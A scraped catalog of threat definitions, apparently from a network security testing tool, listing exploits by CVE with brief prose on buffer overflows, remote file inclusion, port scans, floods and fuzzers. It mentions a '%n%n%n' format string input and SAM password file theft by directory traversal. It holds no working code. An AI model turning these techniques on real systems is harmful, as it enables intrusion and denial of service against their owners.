Detailed Description:	An information disclosure vulnerability has been reported in Microsoft Internet Explorer. This vulnerability is due to the way IE handles objects in memory. A remote attacker can exploit this vulnerability by enticing a victim to open a maliciously crafted web page. Successful exploitation would allow the attacker gain knowledge of sensitive information on the target system.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2017-0008
Threat File Name:	imap_format_IPv6.xml
Executive Description:	IMAP Format String Attack (IPv6 Version)
Detailed Description:	This generic threat sends a format string attack against an IMAP server. A format string attack attempts to crash the service by causing the service to write to out of bounds memory by sending the format string %n%n%n. (IPv6 Version)
Protocol Type:	IMAP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100810-26_Microsoft_Windows_Movie_Maker_MediaClipString_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Movie Maker MediaClipString Buffer Overflow (IPv6 Version)

Detailed Description:	<p>A buffer overflow vulnerability exists in Microsoft Windows Movie Maker. The flaw is due to a boundary error in the way the affected product handles specially crafted MediaClipString data in a Movie Maker project file. A remote attacker can leverage this vulnerability by enticing a target user to open a malicious project file (.MSWMM).</p> <p>A successful attack can result in the injection and execution of arbitrary code on a target system. The resulting code would execute within the security context of the logged in user. In an unsuccessful attack, the affected application may abnormally terminate.</p>
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS, NFS
CVEID:	CVE-2010-2564
Threat Package:	Standard
Threat File Name:	PortScanFIN_IPv6.xml
Executive Description:	Portscan: FIN (IPv6 Version)
Detailed Description:	This threat mimics the behaviour of a FIN scan used by tools such as nmap. A FIN scan sets the FIN bit. Open ports should ignore the probe, while a closed port should reply with a RST packet. (IPv6 Version)
Protocol Type:	TCP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20130729-15_PineApp_Mail-SeCure_confpremenu.php_Export_Log_Command_Injection.xml
Executive Description:	PineApp Mail-SeCure confpremenu.php Export Log Command Injection
Detailed Description:	<p>A command execution vulnerability exists in PineApp Mail-SeCure. The vulnerability is due to an input validation error in the confpremenu.php script while exporting logs.</p> <p>A remote attacker can exploit this vulnerability by sending a specially crafted request to the vulnerable server.</p> <p>Successful exploitation could result in commands being executed with root privileges.</p>
Protocol Type:	HTTPS, HTTP
OSVDB:	95783
Threat File Name:	minibb_rfi_IPv6.xml
Executive Description:	MiniBB Multiple Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing the path for a remote malicious PHP file to include in the returned page and executed in the context of the webserver process .MiniBB is an web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3690
Threat Package:	Standard
Threat File Name:	gestart_rfi_IPv6.xml
Executive Description:	GestArt beta 1 (aide.php aide) Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string containing a path to an arbitrary script file which is included by the server and executed on the affected server. GestArt is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5612
Threat Package:	Standard
Threat File Name:	TSL20160913-19_Microsoft_Windows_Domain_User_Code_Execution_IPv6.xml
Executive Description:	Microsoft Windows Domain User Code Execution (IPv6 Version)
Detailed Description:	<p>A code execution vulnerability exists in Microsoft Windows. The vulnerability is due to the way objects are handled in memory. A remote attacker with domain credentials can exploit this vulnerability by sending specially crafted requests to the target server. Successful exploitation will allow an attacker to execute arbitrary code with elevated privileges.</p>
Protocol Type:	LDAP, LDAPS, IPv6
CVEID:	CVE-2016-3368
Threat File Name:	FSC20080311-13_Microsoft_Office_Web_Components_URL_Parsing_Buffer_Overflow.xml
Executive Description:	Microsoft Office Web Components URL Parsing Buffer Overflow
Detailed Description:	<p>There exists a buffer overflow vulnerability in Microsoft Office Web Components. The vulnerability is due to improper handling of certain URLs. Remote attackers can exploit this vulnerability by enticing target users to visit a malicious web page. Successful exploitation would result in code execution in security context of the logged-in user. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, Internet Explorer may terminate abnormally.</p>
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2006-4695
Threat Package:	Standard
Threat File Name:	nctwavchunkseditor_activex_overwrite.xml
Executive Description:	NCTAudioStudio2 ActiveX DLL (NCTWavChunksEditor2.dll v. 2.6.1.148)
Detailed Description:	<p>"CreateFile()"Insecure Method</p> <p>This threat downloads a malicious web page which triggers a buffer overflow in the NCTAudioStudio2 ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.</p>
Protocol Type:	HTTP
CVEID:	CVE-2007-0018
OSVDB:	32032
Threat Package:	Standard
Threat File Name:	data_dynamics_activex_overwrite_IPv6.xml
Executive Description:	Data Dynamics ActiveBar ActiveX (actbar3.ocx <= 3.1) Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	<p>This threat downloads a malicious web page which triggers a buffer overflow in the Date Dynamics ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)</p>
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3883
Threat Package:	Standard

Threat File Name:	TSL20111116-07_InduSoft_Web_Studio_Unauthenticated_Insecure_Remote_Operations.xml
Executive Description:	InduSoft Web Studio Unauthenticated Insecure Remote Operations
Detailed Description:	A code execution vulnerability has been identified in the Remote Agent component of InduSoft Web Studio. The vulnerability is due to the absence of authentication for incoming requests to the Remote Agent service. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted requests to the vulnerable service. In the event of a successful attack, attacker code will be executed in the security context of the target user
Protocol Type:	over port 4322/TCP
CVEID:	CVE-2011-4051
Threat File Name:	cisco_http_dos3_IPv6.xml
Executive Description:	Cisco IOS HTTP Error Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a malformed URL which can cause certain versions of Cisco IOS to crash. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0984
OSVDB:	6717
Threat Package:	Standard
Threat File Name:	TSL20161129-03_Vim_modelines_Remote_Command_Execution_IPv6.xml
Executive Description:	Vim modelines Remote Command Execution (IPv6 Version)
Detailed Description:	A command execution vulnerability has been reported in Vim. The vulnerability is due to a lack of input validation when processing modeline values for filetype, keymap, and syntax. A remote attacker can exploit this vulnerability by enticing a user to open a crafted file in Vim. Successful exploitation could result in the execution of arbitrary commands under the context of the target user.
Protocol Type:	HTTP, HTTPS, SMB/CIFS, NFS, IMAP, POP3, SMTP, IPv6
CVEID:	CVE-2016-1248
Threat File Name:	FSC20060726-16_Mozilla_Browsers_JavaScript_Navigator_Object_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Browsers JavaScript Navigator Object Memory Corruption (IPv6 Version)
Detailed Description:	There exist a memory corruption vulnerability in Mozilla Foundation's family of browser products. The flaw is caused by insufficient check of user supplied data when assigning values to objects. A remote attacker can exploit this vulnerability to execute arbitrary code in the security context of the target browser. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3677
Threat Package:	Standard
Threat File Name:	swat_dos.xml
Executive Description:	Samba SWAT Denial of Service
Detailed Description:	This threat exploits a weakness in the Samba SWAT HTTP daemon. Causes a crash in the service, denying access to legitimate users.
Protocol Type:	HTTP
CVEID:	CVE-2004-0600
OSVDB:	8190
Threat Package:	Standard
Threat File Name:	TSL20130131-03_Novell_GroupWise_Client_ActiveX_gwmiml.ocx_Untrusted_Pointer_Dereference_IPv6.xml
Executive Description:	Novell GroupWise Client ActiveX gwmiml.ocx Untrusted Pointer Dereference [IPv6 Version]
Detailed Description:	An untrusted pointer dereference vulnerability exists in SecManageRecipientCertificates() function in gwmiml.ocx component of Novell GroupWise Client for Windows. This function can be called using an ActiveX control. A remote unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2013-0804
Threat File Name:	ispconfig_IPv6.xml
Executive Description:	ISPConfig 2.2.2 (session.inc.php) Remote File Inclusion Exploit (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP GET query which includes an arbitrary remote PHP file via the classes_root parameter. IRPConfig is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2315
OSVDB:	25355
Threat Package:	Standard
Threat File Name:	FSC20071002-14_X_Org_X_Font_Server_QueryXBitmaps_and_QueryXExtents_Handlers_Integer_Overflow.xml
Executive Description:	X.Org X Font Server QueryXBitmaps and QueryXExtents Handlers Integer Overflow
Detailed Description:	There exists multiple vulnerabilities in the way X.Org Font Server handles incoming QueryXExtents8, QueryXExtents16, QueryXBitmaps8 and QueryXBitmaps1 protocol requests. More specifically, the vulnerability is due to lack of proper validation on the NumberOfRanges field of the mentioned requests. By sending specially crafted requests, an unauthenticated remote attacker can leverage this flaw to execute arbitrary code on the target host with root or System level privileges.
Protocol Type:	TCP
CVEID:	CVE-2007-4568
Threat Package:	Standard
Threat File Name:	FSC20110118-03_HP_OpenView_Network_Node_Manager_nnmRptConfig_exe_schd_select1_Remote_Code_Execution.xml
Executive Description:	HP OpenView Network Node Manager nnmRptConfig.exe schd_select1 Remote Code Execution

Detailed Description:	A buffer overflow vulnerability exists in the HP OpenView Network Node Manager (NNM) CGI program nnmRptConfig.exe. The vulnerability is due to a boundary error when processing HTTP requests which contain a maliciously crafted schd_select1 parameter. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to a target server, potentially causing arbitrary code to be injected and executed. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-0269
Threat File Name:	fuzz-HTTP-HEAD_PrependHTTPWithformats_IPv6.xml
Executive Description:	Fuzz HTTP HEAD with Request-URI prepended with %s (IPv6 Version)
Detailed Description:	Fuzzes the Request-URI field by prepending %s (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	TSL20061114-18_WinZip_FileView_ActiveX_Control_Unsafe_Method_Exposure.xml
Executive Description:	WinZip FileView ActiveX Control Unsafe Method Exposure
Detailed Description:	There exists a buffer overflow vulnerability in the FileView ActiveX control shipped with the WinZip product. The flaw is due to improper length checks when setting the FilePattern property of the affected control. By persuading a user to open a crafted web page, a remote attacker may inject and execute arbitrary code within the privileges of the currently logged on user. In an attack case where code injection is not successful, the application which uses the affected product will terminate abnormally. In a more sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the current user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2006-5198
Threat File Name:	FSC20080610-09_Microsoft_DirectX_SAMI_Format_Parsing_Code_Execution.xml
Executive Description:	Microsoft DirectX SAMI Format Parsing Code Execution
Detailed Description:	A buffer overflow vulnerability exists in Microsoft DirectX application framework. The vulnerability is due to the way certain DirectX libraries handle specially crafted Synchronized Accessible Media Interchange (SAMI) file type. A remote attacker could exploit this vulnerability by persuading a user to open a specially crafted SAMI file, potentially causing arbitrary code to be injected and executed in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-1444
Threat Package:	Standard
Threat File Name:	me_downloadsysteem_rfi_IPv6.xml
Executive Description:	ME Download System Header.php Remote File Inclusion Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. ME Download System is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	sshutup_IPv6.xml
Executive Description:	Sshutup Theo OpenSSH Hack Attempt (IPv6 Version)
Detailed Description:	This threat sends out the first client packet sent by the Gobbles security group's SSH exploit. This is before key exchanges take place. OpenSSH typically listens on port 22, and is widely used for secure terminal access. (IPv6 Version)
Protocol Type:	SSH/IPv6
CVEID:	CVE-2002-0639
OSVDB:	6245
Threat Package:	Standard
Threat File Name:	mambo_serverstat_rfi.xml
Executive Description:	Mambo Serverstat Component Install.Serverstat.PHP Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Mambo is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	proxy_hunt3_IPv6.xml
Executive Description:	Proxy Hunting Spam (IPv6 Version)
Detailed Description:	This threat mimics a successful proxy probe for a potential spam relay. It emulates both sides of the conversation that could be expected to be seen with a successful anonymous proxy probe. This proxy attempt normally occurs over misconfigured web servers, which listen on port 80. This threat contains a client reply to emulate the reply expected from the server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	wmailserver_bof_IPv6.xml
Executive Description:	SoftiaCom WMailserver Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a remote buffer overflow vulnerability in the connection handling code of WMailserver. This threat exploits the SMTP server which typically listens on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
CVEID:	CVE-2005-2287
OSVDB:	17883
Threat File Name:	fuzz-IP_DF.xml
Executive Description:	Fuzzer for Protocol:IP and Field:DF
Detailed Description:	

Protocol Type:	IP
Threat Package:	Fuzzing
Threat File Name:	portscanSYN.xml
Executive Description:	Portscan: SYN
Detailed Description:	This threat sends TCP packets to a user defined range of ports with the SYN bit set. If the port is open, the target will respond with a SYN ACK, if the port is closed the target will respond with a RST. This portscanning technique will leave open connections on the host and may result in a Denial of Service due to SYN Flooding.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	ms05-030_nnntp.xml
Executive Description:	MS05-030 NNTP Crash On Outlook Express
Detailed Description:	This threat causes a crash and can be used to cause remote code execution Outlook Express through a malicious NNTP server. NNTP is the protocol used for Usenet, and typically runs on port 119. This threat is a client attack that comes from the virtual server.
Protocol Type:	NNTP
CVEID:	CVE-2005-1213
OSVDB:	17306
Threat Package:	Standard
Threat File Name:	FSC20100608-17_Microsoft_Office_Excel_Chart_Object_Memory_Corruption.xml
Executive Description:	Microsoft Office Excel Chart Object Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office Excel. The vulnerability is due to the way the vulnerable product parses Excel documents, allowing for memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious Excel file, potentially causing arbitrary code to be injected and executed in the security context of the current logged on user. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the intention of the malicious code. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-0823
Threat Package:	Standard
Threat File Name:	FSC20081014-22_Microsoft_Internet_Explorer_createRange_Cross_Domain_Scripting_IPv6.xml
Executive Description:	Microsoft Internet Explorer createRange Cross Domain Scripting (IPv6 Version)
Detailed Description:	There exists a vulnerability in Microsoft Internet Explorer. The vulnerability is due to a validation error when handling function call to createRange method. Successful exploitation can allow a remote attacker to execute arbitrary script code in a user's browser session in context of the trusted site and to access the content of a web page in a different domain. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-3472
Threat Package:	Standard
Threat File Name:	tcpdump_isis.xml
Executive Description:	tcpdump ISIS DOS
Detailed Description:	This threat causes tcpdump to enter into an infinite loop. This effectively causes a denial of service condition on tcpdump, leaving the user sniffing unaware of any further packets sent on the wire. This packet emulates a GRE packet being placed on the wire.
Protocol Type:	GRE
CVEID:	CVE-2005-1278
OSVDB:	15862
Threat Package:	Standard
Threat File Name:	FSC20080118-02_Nullsoft_Winamp_Ultravox_Streaming_Metadata_Parsing_Stack_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp Ultravox Streaming Metadata Parsing Stack Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Nullsoft Winamp Player. The vulnerability is due to boundary errors when parsing metadata in Ultravox streaming protocol. An attacker may exploit the vulnerability by enticing a user to visit a malicious server with the affected product, resulting in execution of arbitrary code on the target host within the security context of the currently logged in user.
Protocol Type:	
CVEID:	CVE-2008-0065
Threat Package:	Standard
Threat File Name:	FSC20040823-01_Qt_BMP_Handling_Buffer_Overflow.xml
Executive Description:	Qt BMP Handling Buffer Overflow
Detailed Description:	A vulnerability exists in the way the Qt library handles BMP images. Due to boundary check errors during the handling 8-bit RLE encoded BMP files, a heap buffer overflow can occur when opening malformed BMP images. This vulnerability, when successfully exploited, can allow for the execution of arbitrary code on a vulnerable system within the security context of the application embedding the Qt library.
Protocol Type:	HTTP
CVEID:	CVE-2004-0691
Threat Package:	Standard
Threat File Name:	FSC20100715-16_Oracle_Secure_Backup_Administration_preauth_Variable_Command_Injection_IPv6.xml
Executive Description:	Oracle Secure Backup Administration preauth Variable Command Injection (IPv6 Version)
Detailed Description:	A command execution vulnerability exists in Oracle Secure Backup server. The vulnerability is due to insufficient filtering when handling the \$preauth variable. A remote authenticated attacker could exploit this vulnerability by sending a specially crafted HTTP request to the index.php script on the target server. Successful exploitation of this vulnerability may allow a remote authenticated attacker to execute arbitrary commands under the credentials of the SYSTEM account.
Protocol Type:	IPv6,HTTPS
CVEID:	CVE-2010-0906
Threat Package:	Standard
Threat File Name:	3com_dir_traversal.xml

Executive Description:	3Com Network Supervisor Directory Traversal Attack
Detailed Description:	This threat attempts to download the Windows SAM password file through a directory traversal bug in 3Com's Network Supervisor. Network Supervisor is a web management console that listens on port 21700.
Protocol Type:	Proprietary
CVEID:	CVE-2005-2020
OSVDB:	19152
Threat Package:	Standard
Threat File Name:	TSL20100721-02_Mozilla_Products_nsCSSValue_Array_Index_Integer_Overflow.xml
Executive Description:	Mozilla Products nsCSSValue Array Index Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in Mozilla products including Firefox, Thunderbird and SeaMonkey. The vulnerability exists due to a 16-bit integer value used in allocating the size of the array class to store CSS values that could overflow, resulting in too small a memory buffer being created. Remote attackers could exploit this vulnerability by enticing target users to visit a crafted web page. Successful exploitation would result in arbitrary code execution in the context of the logged on user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,IMAPS,POP3S
CVEID:	CVE-2010-2752
Threat File Name:	FSC20100119-10_HP_Power_Manager_formExportDataLogs_Buffer_Overflow.xml
Executive Description:	HP Power Manager formExportDataLogs Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP Power Manager. The vulnerability is due to insufficient bounds checking in the HP Power Manager while processing URL parameters in the formExportDataLogs form of the web based management web server. Remote unauthenticated attackers can exploit this vulnerability to inject and execute arbitrary code on the target system by sending malicious HTTP requests. In an attack scenario where code execution is successful the injected code will be executed within the security context of the SYSTEM user. An unsuccessful exploit attempt may terminate the affected service abnormally and result in a denial of service condition.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-3999
Threat Package:	Standard
Threat File Name:	NOOPudpUNIX_IPv6.xml
Executive Description:	UDP NOOP Variant UNIX (IPv6 Version)
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives. (IPv6 Version)
Protocol Type:	UDP/IPv6
Threat Package:	Standard
Threat File Name:	ms-explorer_avi_dos.xml
Executive Description:	MS Windows Explorer (AVI) Unspecified Denial of Service Vulnerability
Detailed Description:	This threat leverages a flaw in MS Windows Explorer via a maliciously crafted avi file, that when opened may result in a denial of service condition on the affected system. MS Windows Explorer is a client application, this threat delivers the malicious file via a web server listening on port 80
Protocol Type:	HTTP
CVEID:	CVE-2007-0562
Threat Package:	Standard
Threat File Name:	TSL20131101-04_HP_SiteScope_issueSiebelCmd_SOAP_Request_Code_Execution_IPv6.xml
Executive Description:	HP SiteScope issueSiebelCmd SOAP Request Code Execution(IPv6 Version)
Detailed Description:	A command execution vulnerability has been found in HP SiteScope. The vulnerability is due to lack of authentication when handling "issueSiebelCmd" SOAP requests. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the affected service. Successful exploitation of these vulnerabilities can lead to arbitrary command execution.
Protocol Type:	SOAP/HTTP,IPV6
CVEID:	CVE-2013-4835
OSVDB:	99230
Threat File Name:	ArpSpoofedTarget_IPv6.xml
Executive Description:	ARP Targeted Spoof (IPv6 Version)
Detailed Description:	This threat sends out a targeted ARP reply packet, in order to alter the MAC address table of a specific host. Very similar to a broadcast spoof, but specifies only one host to alter information on. (IPv6 Version)
Protocol Type:	ARP/IPv6
CVEID:	CVE-1999-0667
OSVDB:	11169
Threat Package:	Standard
Threat File Name:	TSL20110512-11_HP_Intelligent_Management_Center_img_Buffer_Overflow_IPv6.xml
Executive Description:	HP Intelligent Management Center img Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability has been identified in the img component of the HP Intelligent Management Center. When processing packets sent to port 8800/TCP, user-supplied data is directly copied to a stack buffer without boundary check. By sending a crafted packet to the target, a remote attacker can exploit this vulnerability to execute arbitrary code under the security context of the SYSTEM user.
Protocol Type:	IPV6,Proprietary
CVEID:	CVE-2011-1848
Threat File Name:	FSC20080814-12_Microsoft_Visual_Studio_MSMASK32_OCX_ActiveX_Control_Buffer_Overflow.xml
Executive Description:	Microsoft Visual Studio MSMASK32.OCX ActiveX Control Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in MS Visual Studio. The vulnerability is due to a boundary error while handling an overly large "Mask" parameter of the ActiveX Control Msmask32.ocx. A remote attacker could exploit the vulnerability by enticing the target user to visit a malicious web page. Successful exploitation would cause a memory corruption that may lead to arbitrary code execution in the security context of the logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-3704

Threat Package:	Standard
Threat File Name:	SymantecFirewallDNSDOS.xml
Executive Description:	Symantec Firewall DNS Response Denial of Service
Detailed Description:	This threat sends a DNS packet where the compressed name pointer points back to itself, causing various Symantec Firewall applications to cause the kernel to go into an infinite loop.
Protocol Type:	DNS
CVEID:	CVE-2004-0445
OSVDB:	6100
Threat Package:	Standard
Threat File Name:	sipinvitebadschemerequesturi_IPv6.xml
Executive Description:	SIP INVITE Bad Scheme Request-URI (IPv6 Version)
Detailed Description:	This threat sends out a SIP INVITE message with a Request-URI using HTTP. This can confuse or crash a PBX that is not very robust. (IPv6 Version)
Protocol Type:	SIP/IPv6
Threat Package:	VoIP
Threat File Name:	FSC20100330-03_Microsoft_Internet_Explorer_HTML_Rendering_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HTML Rendering Memory Corruption(IPv6 Version)
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to the way that Internet Explorer accesses an object that has been deleted. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.(IPv6 Version)
Protocol Type:	HTTP/HTTPS/IPv6
CVEID:	CVE-2010-0807
Threat Package:	Standard
Threat File Name:	x86NOOPtcp5.xml
Executive Description:	TCP x86 NOOP Packet Variant 5
Detailed Description:	This threat sends a TCP packet that appears to be part of an existing valid connection with a NOOP sled in it. A NOOP sled is used by shellcode to insure that the injected code will execute. Unfortunately, there are many other reasons why a NOOP might appear in traffic. This threat utilized equivalent assembly instructions to the standard NOOP instruction.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	adobe_ff_crash.xml
Executive Description:	Acrobat Plugin Firefox Crash
Detailed Description:	This threat causes a crash in firefox by issuing javascript through a malicious webpage that then gets executed by the embedded PDF viewer. This threat would typically come from a malicious webserver.
Protocol Type:	HTTP
CVEID:	CVE-2007-0045
Threat Package:	Standard
Threat File Name:	hp_hpqxml_dll_activex_overwrite_IPv6.xml
Executive Description:	HP Digital Imaging (hpqxml.dll 2.0.0.133) arbitrary Data Write Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a flaw in HP Digital Imaging ActiveX Component allowing it to overwrite any file on the victim system. this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3487
Threat Package:	Standard
Threat File Name:	TSL20170612-10_Schneider_Electric_U.motion_Builder_track_import_export.php_SQL_Injection.xml
Executive Description:	Schneider Electric U.motion Builder track_import_export.php SQL Injection
Detailed Description:	An SQL injection vulnerability has been reported in Schneider Electric U.motion Builder. The vulnerability is due to insufficient validation of the object_id HTTP parameter of the track_import_export.php request. A remote, unauthenticated user can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation could result in the execution of arbitrary SQL commands on the target server with privileges of the database process.
Protocol Type:	HTTP
CVEID:	CVE-2017-7973
Threat File Name:	edraw_office_activex_overwrite_IPv6.xml
Executive Description:	EDraw Office Viewer Component 5.1 HttpDownloadFile() ActiveX Control Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a flaw in EDraw Office Viewer ActiveX Component allowing it to overwrite any file on the victim system. this threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-4420
Threat Package:	Standard
Threat File Name:	TSL20160512-06_Microsoft_Edge_Chakra_JavaScript_Engine_Array.concat_Memory_Corruption.xml
Executive Description:	
Detailed Description:	
Protocol Type:	
Threat File Name:	crobftp_dos.xml
Executive Description:	Crob FTP Server Remote Heap Buffer Overflow Vulnerability
Detailed Description:	This threat demonstrates a flaw in the Crob FTP Server by using a large buffer to cause a denial of service condition. Crob FTP Server is ftp server software that typically listens on port 21.
Protocol Type:	FTP

Threat Package:	Standard
Threat File Name:	FSC20040520-01_Opera_Telnet_URI_Handler_File_Creation.xml
Executive Description:	Opera Telnet URI Handler File Creation
Detailed Description:	Opera Software ASA's Opera Web browser is vulnerable to an attack of telnet URI handler. An attacker can invoke telnet with a trace file name as argument by requesting an URI address to opera web browser. The supplied trace file then can be created on the host of web browser's user. Therefore it is possible for the attacker to create malicious file which could be harmful to the user's system.
Protocol Type:	HTTP
CVEID:	CVE-2004-0473
Threat Package:	Standard
Threat File Name:	ms05-053_IPv6.xml
Executive Description:	MS05-053 EMF file parsing flaw in GDI32.DLL (IPv6 Version)
Detailed Description:	This threat causes the Internet Explorer web browser to crash by sending a malformed EMF file which is processed by the GetEnhMetaFilePaletteEntries() function, ending in a crash. This can lead to a denial of service condition, and possibly remote code execution. This attack comes from web servers, which typically listen on port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0803
OSVDB:	20580
Threat Package:	Standard
Threat File Name:	TCPstateFlood.xml
Executive Description:	TCP State Flood
Detailed Description:	This attack sends a TCP SYN packet to a targeted host followed by a TCP RST packet from the client spoofing the targeted host. The intention of this attack is to break stateful connections from real clients.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	IMail_web.xml
Executive Description:	IMail Web Service Buffer Overflow
Detailed Description:	This threat sends a large amount of data targeted for the IMail Web Service which typically listens on port 8383. The effect of this threat is a denial of service, but could be used for remote code execution.
Protocol Type:	HTTP
CVEID:	CVE-1999-1551
OSVDB:	10843
Threat Package:	Standard
Threat File Name:	phprojekt_rfi.xml
Executive Description:	PHPprojekt Content management module Remote File Inclusion Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Phprojekt is a web application that typically listens on port 80
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20160614-29_Microsoft_Edge_CVE-2016-3222_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Edge CVE-2016-3222 Memory Corruption (IPv6 version)
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Edge. The vulnerability is due to improper handling of objects in memory. A remote attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-3222
Threat File Name:	TSL20121212-15_Adobe_Flash_Player_loadPCMFromByteArray_Integer_Overflow_IPv6.xml
Executive Description:	Adobe Flash Player loadPCMFromByteArray Integer Overflow(IPV6 Version)
Detailed Description:	An integer overflow vulnerability exists in Adobe Flash player. When the flash.media.Sound.loadPCMFromByteArray function is called with a large number of samples in the parameter, an integer overflow occurs. This is then used in the indexing of arrays leading to a potential buffer overflow. A remote attacker could exploit these vulnerabilities by enticing a user to visit a web page embedding a specially crafted Flash file. Successful exploitation could result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6, HTTP, HTTPS, IMAP, POP3, SMB/CIFS, SMTP, NFS
CVEID:	CVE-2012-5677
OSVDB:	88353
Threat File Name:	sipcanceflood.xml
Executive Description:	SIP CANCEL Flood
Detailed Description:	This threat sends out a flood of SIP CANCEL packets, attempting to overwhelm either a PBX or a VoIP phone.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	FSC20090113-10_Oracle_BEA_WebLogic_Server_Apache_Connector_Buffer_Overflow_IPv6.xml
Executive Description:	Oracle BEA WebLogic Server Apache Connector Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in BEA WebLogic Server Apache Connector. The vulnerability is due to a boundary error in the Apache connector. A remote unauthenticated attacker can exploit this vulnerability by sending crafted requests to the target host. Successful exploitation would be a denial of service condition of Apache HTTP services on the target host. In an attack case, the affected server will terminate and all established connections will also be terminated. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-5457
Threat Package:	Standard

Threat File Name:	ksignswat_activex_bof.xml
